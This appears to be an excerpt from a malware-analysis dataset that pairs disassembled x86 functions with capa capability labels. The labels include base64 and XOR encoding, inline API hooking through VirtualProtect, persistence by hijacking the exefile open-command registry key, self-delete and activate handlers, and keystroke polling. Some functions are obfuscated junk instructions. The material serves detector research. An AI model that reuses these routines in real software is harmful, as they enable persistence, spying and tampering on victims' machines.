joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7891f0
Capabilities:
Contain obfuscated stackstrings
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
sub esp, 0x48
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x10]
cmp ebx, esi
je 0x789352
cmp edi, esi
je 0x789352
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
add eax, edi
mov dword [ebp - 0x48], 0x44434241
mov dword [ebp - 0x44], 0x48474645
mov dword [ebp - 0x40], 0x4c4b4a49
mov dword [ebp - 0x3c], 0x504f4e4d
mov dword [ebp - 0x38], 0x54535251
mov dword [ebp - 0x34], 0x58575655
mov dword [ebp - 0x30], 0x62615a59
mov dword [ebp - 0x2c], 0x66656463
mov dword [ebp - 0x28], 0x6a696867
mov dword [ebp - 0x24], 0x6e6d6c6b
mov dword [ebp - 0x20], 0x7271706f
mov dword [ebp - 0x1c], 0x76757473
mov dword [ebp - 0x18], 0x7a797877
mov dword [ebp - 0x14], 0x33323130
mov dword [ebp - 0x10], 0x37363534
mov dword [ebp - 0xc], 0x2f2b3938
mov dword [ebp - 4], esi
mov ecx, edi
mov dword [ebp - 8], eax
cmp edx, esi
jbe 0x789342
add edi, 4
jmp 0x7892a3
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x7892b8
mov dword [ebp - 4], 2
jmp 0x7892d9
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x7892cf
mov dword [ebp - 4], 1
jmp 0x7892d9
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x789352
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x48]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x48]
mov byte [ecx + 1], bl
mov ebx, dword [ebp - 4]
cmp ebx, 1
jbe 0x789310
mov byte [ecx + 2], 0x3d
jmp 0x78931d
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x48]
mov byte [ecx + 2], al
add ecx, 3
add edi, 3
test ebx, ebx
je 0x78932c
mov byte [ecx], 0x3d
jmp 0x789332
mov dl, byte [ebp + edx - 0x48]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x7892a0
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
sub ecx, edi
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x87524f
Capabilities:
Encode data using xor

Disassembly:
shl byte [esp + 4], 0x7d
je 0xa3d1ed
push 0x4a4e1bea
add dword [esp + 8], 0x514a9
pushfd
neg dword [esp + 4]
jl 0xa76945
cmp eax, 0x8b677b6b
popal
push 0x88ccfca8
cmp bh, byte [edx + 0x57]
pop ecx
std
inc edx
test byte [eax + 0x3dd5c23e], ah
sbb eax, 0x814eab83
push 0x999d60f1
lcall 0x8fc, 0x53eaef33
pop ecx
outsb dx, byte [esi]
fxch st(6)
cmp dword [ebp + 0x28], 0x54c2ed6c
push eax
xor dword [edi - 0x1807e262], esi
js 0x87530d
mov dword [ebp + edx*4 - 0x9d78a04], esp
inc edi
push edi
fnstsw word [ebp - 0x72]
mov ecx, 0x19fa11a0
add byte [0xbc829bb2], bl
push 0xa4518812
lcall 0x8efc, 0x6e26cf1a
leave
mov byte [0xab6dcee4], al
out 0xc3, eax
xor al, 0xd8
ja 0x8752bf
out dx, eax
xor dl, dl
sbb byte [esi], 0x1c
mov edx, 0xe007b04c
outsd dx, dword [esi]
mov cl, 0x98
sbb bh, byte [edi + eax]
test dword [edi], 0x715656c4
das
push esi
push esi
jno 0x87531a
std
or dh, al
into
rcl dword [edx - 0x2f]
jbe 0x8752e7
cmp dword fs:[esi], ebp
rol byte [edi - 0x55], 0x40
int3
clc
mov ah, byte fs:[edx - 0x2e]
sal dword [esi - 0x3e410852], cl
add eax, 0x1b6af982
stc
push 0x1b
int1
cmp al, 0x4e
or eax, 0xf0e760aa
invalid
add edi, eax
jmp 0xa1d633
push edi
ret
call fcn.007f8174
rol eax, 3
clc
cmp edx, edx
cmp ebp, 0x3f2d7ff4
xor ebx, eax
jmp 0x940142
and dword [esp + 4], 0x61b51196
jno 0x8679e4
not eax
test ebx, eax
sub eax, 0x2de814d9
jmp 0xa5de45

Function at 0x879698
Capabilities:
Encode data using xor

Disassembly:
add word [esp + 0x14], 0x97f
mov byte [esp + 0x14], 0xaa
jg 0x771004
setl byte [esp + 0x14]
jae 0x7851f0

Function at 0x8b0bae
Capabilities:
Encode data using xor

Disassembly:
add dword [esp + 0x18], 0xffe0dd9f
lea ecx, [ecx + ecx*4 + 0x13406fef]
pushfd
neg ecx
mov cx, 0x7be1
sub cx, cx
and cl, 0xc5
or cl, 0x9c
test cl, cl
mov edi, dword [esp + ecx*2 - 0x6b2a011c]
mov edi, dword [edi + ecx*2 - 0x6b2a0138]
mov ecx, 0x742b0ffa
ja 0xa1ceea

Function at 0x963f69
Capabilities:
Encode data using xor

Disassembly:
add dword [esp + 4], 0xffac0821
lea ebp, [ebp + 0x55d45b0a]
mov dword [esp + 0x10], 0x5dee4582
test dword [esp + 0x10], 0x7aac0aa4
js 0x92deb1
xchg dword [esp + 0x1c], ebp
push dword [esp + 0xc]
popfd
lea esp, [esp + 0x1c]
ret

Function at 0xa7afb7
Capabilities:
Encode data using xor

Disassembly:
shl dword [esp + 0x10], 0xf6
xchg dword [esp + 0x18], esi
push dword [esp + 0xc]
popfd
lea esp, [esp + 0x18]
ret
shl dword [esp + 0xc], 0xda
lea esi, [esi + 0x55d45b0a]
mov dword [esp + 0x10], 0x78567226
push 0x66b37818
add dword [esp + 4], 0xffb88231
xor dword [esp + 0x10], 0x792f5481
jae 0x900b64

Function at 0xabe5e1
Capabilities:
Encode data using xor

Disassembly:
push esi
call fcn.00a4d6c5
mov dh, 0x3a
mov ch, 0x73
adc esp, dword [eax + 0x684a1c17]
stc
cli
or eax, 0x4ad6254a
add cl, byte [edx + 8]
dec edi
in al, dx
add ecx, dword [edx - 0x63]
Function at 0x5ddc71
Capabilities:
Encode data using xor

Disassembly:
mov dword [edx - 0x5135a22b], edi
invalid
clc
jb 0x5ddbfb
push esp
out dx, al
adc al, 0x30
cmpsd dword [esi], dword es:[edi]
pop dword [eax + 0x7b0a4e6a]
idiv ah
ja 0x5ddc86
rep stosd dword es:[edi], eax
invalid
fcom st(4)
salc
and al, cl
push edi
cld
jmp 0x5ddc05
push ebx
in al, dx
loop 0x5ddcfa
rep stosd dword es:[edi], eax
or ah, byte [edi + 0x540ba4f1]
rep stosd dword es:[edi], eax
Function at 0x10001244
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, eax
cmp dword [esi], 0
push edi
je 0x10001267
mov esi, dword [ebp + 8]
mov eax, dword [esi + 1]
lea eax, [eax + esi + 5]
cmp eax, dword [ebp + 0xc]
je 0x10001308
jmp 0x100012d9
push 0x40
push 0x3000
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
test eax, eax
jne 0x10001285
xor al, al
jmp 0x1000130a
push ebx
mov ebx, dword [ebp + 8]
mov edi, eax
mov dword [ebp - 4], edi
lea eax, [ebx + 5]
jmp 0x100012c6
push ebx
call section..text
pop ecx
movzx ecx, byte [ebx]
sub ecx, 0xf
je 0x100012b1
sub ecx, 0xd9
je 0x10001317
dec ecx
je 0x1000130e
dec ecx
dec ecx
jne 0x100012b2
int3
add dword [ebp - 4], eax
mov esi, ebx
mov ecx, eax
add ebx, eax
mov eax, dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
add eax, 5
cmp ebx, eax
jb 0x10001293
sub ebx, edi
sub ebx, 5
mov dword [edi + 1], ebx
mov byte [edi], 0xe9
mov esi, dword [ebp + 8]
pop ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push esi
call edi
test eax, eax
je 0x1000127e
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov byte [esi], 0xe9
push 5
push esi
call edi
mov al, 1
pop edi
pop esi
leave
ret
mov eax, dword [ebx + 1]
lea ebx, [eax + ebx + 5]
jmp 0x100012ca
mov eax, dword [ebx + 1]
lea eax, [eax + ebx + 5]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [edi + 5]
mov byte [edi], 0xe8
sub ebx, eax
mov byte [eax], 0xe9
mov dword [eax + 1], ebx
jmp 0x100012d5
Function at 0x10001774
Capabilities:
Delete registry key
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
lea eax, [ebp - 4]
push eax
push str.exefile_shellopencommand
mov edi, 0x80000000
push edi
call esi
xor ebx, ebx
test eax, eax
jne 0x100017ba
push 8
push str.__1___
push 1
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str..exe_shell
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea eax, [ebp - 4]
push eax
push str.SOFTWAREClientsStartMenuInternetIEXPLORE.EXE_shellopencommand
push 0x80000002
call esi
test eax, eax
jne 0x10001878
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x418]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
mov dword [ebp - 8], 0x410
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000186f
lea eax, [ebp - 0x418]
push str._a__
push eax
call dword [sym.imp.msvcrt.dll_wcsstr]
pop ecx
pop ecx
cmp eax, ebx
je 0x1000186f
lea ecx, [ebp - 0x418]
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
cmp dx, bx
jne 0x10001821
sub ecx, esi
sar ecx, 1
cmp word [ebp + ecx*2 - 0x41a], 0x22
jne 0x1000186f
add eax, 8
xor edx, edx
mov word [ebp + ecx*2 - 0x41a], dx
mov ecx, eax
lea edx, [ecx + 2]
mov si, word [ecx]
add ecx, 2
cmp si, bx
jne 0x1000184d
sub ecx, edx
sar ecx, 1
lea ecx, [ecx + ecx + 2]
push ecx
push eax
push 1
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001aa4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp eax, 0xd
jb 0x10001b5e
push ebx
add eax, 0xfffffff4
push esi
push edi
mov dword [ebp - 4], eax
xor ebx, ebx
mov eax, dword [ebp + 8]
push 2
pop ecx
mov edi, str.activate
mov esi, eax
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x10001b0f
push 0x10
lea esi, [eax + 8]
pop ecx
mov edi, str.282522816f232877
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x10001ae5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x10001b0f
cmp byte [0x10004130], bl
jne 0x10001b0f
xor eax, eax
inc eax
mov ecx, 0x1000413c
xchg dword [ecx], eax
test eax, eax
jne 0x10001b0f
push ebx
push ebx
push ebx
push 0x1000193d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp + 8]
push 2
pop ecx
mov edi, str.selfdele
mov esi, eax
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x10001b4f
push 4
lea esi, [eax + 8]
pop ecx
mov edi, str.282522816f232877
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
jne 0x10001b4f
inc eax
mov ecx, 0x10004138
xchg dword [ecx], eax
test eax, eax
jne 0x10001b4f
push ebx
push ebx
push ebx
push 0x10001996
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [ebp + 8]
dec dword [ebp - 4]
jne 0x10001abc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001e5b
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push 0x104
lea eax, [ebp - 0x130]
xor ebx, ebx
push eax
mov dword [ebp - 8], 0x75bcd15
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x10001e8e
mov byte [ebp - 0x130], bl
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x130]
push eax
mov byte [ebp - 0x12d], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x10001eb2
mov dword [ebp - 0x2c], ebx
xor eax, eax
xor ecx, ecx
cpuid
lea esi, [ebp - 0x18]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
xor eax, eax
inc eax
xor ecx, ecx
cpuid
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
xor ebx, ebx
mov al, bl
mov cl, 3
imul cl
mov cl, al
movzx eax, byte [ebp + ebx - 0x2c]
cdq
xor eax, dword [ebp - 8]
xor edx, dword [ebp - 4]
test cl, 0x20
je 0x10001f11
mov esi, eax
mov eax, edx
mov edx, esi
and cl, 0x1f
je 0x10001f20
mov esi, eax
shld esi, edx, cl
shld edx, eax, cl
mov eax, esi
add dword [ebp - 8], eax
adc dword [ebp - 4], edx
inc ebx
cmp ebx, 0x14
jb 0x10001ef2
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x10001f36
Capabilities:
Create thread
Encode data using xor
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x2cc
push ebx
push esi
xor esi, esi
push edi
cmp eax, esi
je 0x10001f56
cmp ax, si
jne 0x10001f56
cmp dword [ebp + 0xc], 1
je 0x10001f5d
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x104
lea ecx, [ebp - 0x2cc]
push ecx
push eax
mov dword [0x100040f4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1000209b
push esi
push esi
push 3
push esi
push 1
push 0x80000000
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000209b
push 2
push esi
push 0xffffff3a
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1000209b
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp + 8]
push eax
mov ebx, 0xc2
push ebx
lea eax, [ebp - 0xc4]
push eax
push edi
call esi
test eax, eax
je 0x10002099
cmp dword [ebp + 8], ebx
jne 0x10002099
push 0
lea eax, [ebp + 8]
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push edi
call esi
test eax, eax
je 0x10002099
cmp dword [ebp + 8], 4
jne 0x10002099
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ecx, eax
imul eax, eax, 0x3915f8b5
shr ecx, 1
xor byte [ebp + esi - 0xc4], cl
inc esi
cmp esi, ebx
jb 0x10002012
cmp dword [ebp - 0xc4], 0xec12be14
jne 0x10002099
lea esi, [ebp - 0xc4]
mov edi, section..data
mov ecx, ebx
rep movsb byte es:[edi], byte [esi]
call fcn.10001e5b
push edx
push eax
push str._08x_08x
push str.282522816f232877
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
call fcn.10001d22
test al, al
jne 0x1000207d
xor esi, esi
push esi
push esi
push str.Internal_error_1
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
push eax
push eax
push eax
push 0x10001e37
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0xc
xor esi, esi
push esi
push esi
push str.no_config
jmp 0x1000206f
Function at 0x40549f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x4b9047
call fcn.004b8ba8
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x30], edi
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x18], eax
xor ebx, ebx
mov ecx, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1c], ebx
cmp ebx, ecx
jae 0x405647
cmp dword [edi + 0x10], ebx
ja 0x4054de
push str.OwvvIsfKGvfffcrxIfZPRyy
call fcn.00489e3c
cmp dword [edi + 0x14], 0x10
jb 0x4054e8
mov eax, dword [edi]
jmp 0x4054ea
mov eax, edi
mov dl, byte [eax + ebx]
mov byte [ebp - 0x11], dl
mov dword [ebp - 0x2c], 0x45b1
cmp dword [ebp - 0x2c], 0x45f0
jle 0x40556e
xor edi, edi
mov dword [ebp - 0x28], edi
xor esi, esi
mov dword [ebp - 0x24], esi
xor eax, eax
mov dword [ebp - 0x20], eax
mov ebx, edi
mov ecx, esi
sar ebx, cl
mov edi, eax
mov esi, 0x1345
mov eax, edi
xor eax, ebx
cdq
push edx
push eax
mov ecx, 0xab89f8
call fcn.00426afc
dec edi
dec esi
jne 0x40551c
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x1eef
jl 0x405515
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x6ff6
mov edi, dword [ebp - 0x28]
jl 0x40550a
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x36c4
jl 0x405505
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x30]
mov dl, byte [ebp - 0x11]
lea ecx, [ebx - 0x11]
mov al, cl
and al, dl
add al, al
sub cl, al
add cl, dl
movsx esi, cl
movsx eax, dl
add eax, ebx
xor edx, edx
push 0x19
pop ecx
div ecx
mov ecx, edx
shl esi, cl
retf 0xe6d3
mov eax, dword [ebp - 0x18]
add eax, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0x3e6
cmp dword [ebp - 0x28], 0x1b39
jle 0x4055ef
xor byte [ebx], 0x5d
scasd eax, dword es:[edi]
arpl word [edx], ax
fcomp dword [esi]
cwde
stosd dword es:[edi], eax
mov ebx, 0x2c8d2f0a
sbb dl, al
push ebp
adc dl, dl
rol dword [edx + 0x4a], 1
int 0x7c
mov ebx, 0x39718e0c
cmpsd dword [esi], dword es:[edi]
jg 0x40558b
mov esi, 0x6cf17595
cli
jg 0x40558e
invalid
and dword [ebp - 4], 0
cmp dword [ebp - 0x2c], 0x4488
jge 0x40560e
mov edx, str.kesfq_jivn_zjauo_gqoqau_mnngbmjno
mov ecx, 0xab89f8
call fcn.00428345
mov eax, dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
jmp 0x40563e
inc ebx
mov ecx, dword [ebp - 0x34]
jmp 0x4054c4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a4d6
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x40a62f
lea eax, [ebp + 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x30]
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x40a577
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x40a56a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x7ac
push 1
push dword [ebp - 0x4c]
call fcn.0040a65d
add esp, 0x10
jmp 0x40a572
push 0
call fcn.00415d61
pop ecx
jmp 0x40a62d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x40a5fe
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x40a5c2
push 0x1100
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x40a5fc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x84]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x84]
call fcn.00402cea
jmp 0x40a62d
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x58], eax
push 0
push 0
push dword [ebp - 0x50]
push 0x45a0
push 0x510a
push dword [ebp - 0x58]
push 1
push 0x1f42
call fcn.00406ca5
add esp, 0x20
jmp 0x40a659
lea eax, [ebp + 0x20]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0x34]
mov dword [ebp - 0x68], eax
push 0
push 0x16fc
mov eax, dword [ebp - 0x60]
movzx eax, byte [eax]
push eax
push 0xd2d
push dword [ebp - 0x68]
call fcn.00407464
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x429b28
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 8]
test eax, eax
je 0x429bcb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x429bbb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x429b96
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x429b94
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
jmp 0x429bb9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x429bb9
push 0x12e5
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x429bc9
push 0x41ac
push 0
call fcn.0042eccc
pop ecx
pop ecx
jmp 0x429c28
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x429c05
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
push dword [ebp - 0x3c]
push 0
push dword [ebp - 0x40]
call fcn.0042cd82
add esp, 0xc
jmp 0x429c28
push 0x6151
push 0x3b60
push 0x493f
push 0x72b1
push 0
push 0x3319
call fcn.00429de0
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x42c1b2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x42c304
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x42c297
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x42c282
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x40], 0xfb6f65e7
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x18], 0x17a3f0ae
mov dword [ebp - 4], 0
jmp 0x42c231
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x42c244
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x50], 0
jmp 0x42c22a
push 1
push 1
push 0x126b
push 0x1ecf
push 0
push 0x2bf
push 1
lea eax, [ebp - 0x14]
push eax
push 0x1ab4
push 1
push 0x1d2e
call fcn.00437e6b
add esp, 0x2c
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.004325b3
pop ecx
pop ecx
jmp 0x42c295
push 0
push 0
push 0x231f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x42c302
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x42c2e5
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x42c2e3
push 0
push 0xbc5
push 0xad8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
jmp 0x42c302
push 0
push 0
push 0
push 0
push 0x19b4
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x42c33b
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 1
push dword [ebp - 0x38]
push 0x6b95
push 0
push 0x37f6
push 0x1d0f
push 0xdb5
push 0x164f
call fcn.00429e08
add esp, 0x24
mov esp, ebp
pop ebp
ret